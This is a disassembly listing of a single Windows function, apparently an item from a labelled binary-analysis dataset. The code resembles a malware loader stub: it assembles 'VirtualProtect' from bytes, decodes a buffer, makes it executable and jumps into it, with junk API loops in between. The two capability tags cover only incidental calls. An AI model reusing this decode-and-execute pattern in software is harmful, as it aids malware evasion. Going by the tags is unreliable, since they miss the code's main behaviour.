Function at 0x41c5e0
Capabilities:
Access the windows event log
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1f8
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x38]
push eax
call fcn.00404e40
mov esi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov edi, 0x5f8
lea ecx, [esp + 0xc0]
push ecx
push 0
call esi
sub edi, 1
jne 0x41c605
push 0x4034c8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x41ff24]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov al, 0x74
mov cl, 0x72
mov bl, 0x6c
xor ebp, ebp
mov byte [str.xurotocomupekoferidimari], 0x56
mov byte [0x41f121], 0x69
mov byte [0x41f122], cl
mov byte [0x41f123], al
mov byte [0x41f124], 0x75
mov byte [0x41f125], 0x61
mov byte [0x41f126], bl
mov byte [0x41f127], 0x50
mov byte [0x41f128], cl
mov byte [0x41f129], 0x6f
mov byte [0x41f12a], al
mov byte [0x41f12b], 0x65
mov byte [0x41f12c], 0x63
mov byte [0x41f12d], al
mov byte [0x41f12e], 0
mov dword [0x420eb0], edx
xor esi, esi
cmp esi, 0x7ca
jne 0x41c6b1
add dword [0x420eb0], 0x38c77
jmp 0x41c6bb
cmp esi, 0x20a
jge 0x41c6bb
call edi
inc esi
cmp esi, 0xcfa
jl 0x41c69d
mov eax, dword [0x420eb0]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [0x41f018]
add edi, 0x38c77
mov dword [esp + 0x10], eax
mov byte [0x41f127], 0x41
mov byte [0x41f128], bl
mov byte [0x41f129], bl
mov byte [0x41f12a], 0x6f
mov byte [0x41f12b], 0x63
mov byte [0x41f12c], 0
cmp dword [0x420eb0], ebp
jbe 0x41c755
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, eax
sub edi, eax
jmp 0x41c720
cmp ebp, 0x8c9
jge 0x41c73a
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov al, byte [edi + esi]
mov ecx, esi
call fcn.0041c3f0
mov cl, byte [edi + esi]
mov byte [esi], cl
inc ebp
inc esi
cmp ebp, dword [0x420eb0]
jb 0x41c720
xor ebp, ebp
mov dword [esp + 0x14], 0xbb
sub dword [esp + 0x14], 0x7b
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor esi, esi
cmp esi, 0x70f
jge 0x41c78c
lea edx, [esp + 0xe8]
push edx
push ebp
push ebp
call edi
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call ebx
inc esi
cmp esi, 0xf2dc6
jl 0x41c770
mov ecx, dword [esp + 0x14]
mov edx, dword [0x420eb0]
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [esp + 0x10]
call fcn.0041c5a0
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
xor esi, esi
cmp esi, 0x243478
jne 0x41c7ce
call edi
jmp 0x41c7d8
cmp esi, 0xc00
jge 0x41c7d8
call ebx
inc esi
cmp esi, 0x2d3db4
jl 0x41c7c2
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx]
push ebp
push ebp
push ebp
push ebp
mov dword [edx + 4], 1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
mov esi, 0xf
push 0x4034e4
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], ebp
mov byte [esp + 0x24], 0
call fcn.00406eb0
add esp, 4
push eax
push 0x4034e4
lea ecx, [esp + 0x24]
call fcn.00405920
cmp dword [esp + 0x34], 0x10
jb 0x41c84c
mov eax, dword [esp + 0x20]
push eax
call fcn.004070a8
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x34], esi
mov dword [esp + 0x30], ebp
mov byte [esp + 0x20], 0
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x38], 0x4035f8
test byte [esp + 0x84], 1
mov dword [esp + 0x44], 0x4035bc
je 0x41c889
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push ecx
call fcn.004070a8
add esp, 4
mov edx, dword [esp + 0x54]
mov dword [edx], ebp
mov eax, dword [esp + 0x64]
mov dword [eax], ebp
mov ecx, dword [esp + 0x74]
mov dword [ecx], ebp
mov edx, dword [esp + 0x58]
mov dword [edx], ebp
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov eax, dword [esp + 0x7c]
and dword [esp + 0x84], 0xfffffffe
mov dword [esp + 0x80], ebp
mov dword [esp + 0x44], 0x403568
mov ebx, eax
cmp eax, ebp
je 0x41c919
mov edi, dword [eax]
cmp edi, ebp
je 0x41c910
push ebp
lea ecx, [esp + 0x14]
call fcn.004064f3
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x41c8ee
cmp eax, 0xffffffff
jae 0x41c8ee
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x10]
and esi, edi
call fcn.0040651b
cmp esi, ebp
je 0x41c910
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebx
call fcn.004070a8
add esp, 4
lea ecx, [esp + 0x48]
call fcn.00406751
mov ecx, dword [esp + 0x38]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x38], 0x4035b4
mov eax, dword [esp + 0x40]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x40], 0x4035ac
mov edx, dword [esp + 0x38]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x8c]
mov dword [esp + eax + 0x38], 0x4035a4
push ecx
mov dword [esp + 0x90], 0x403558
call fcn.004060f8
add esp, 4
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10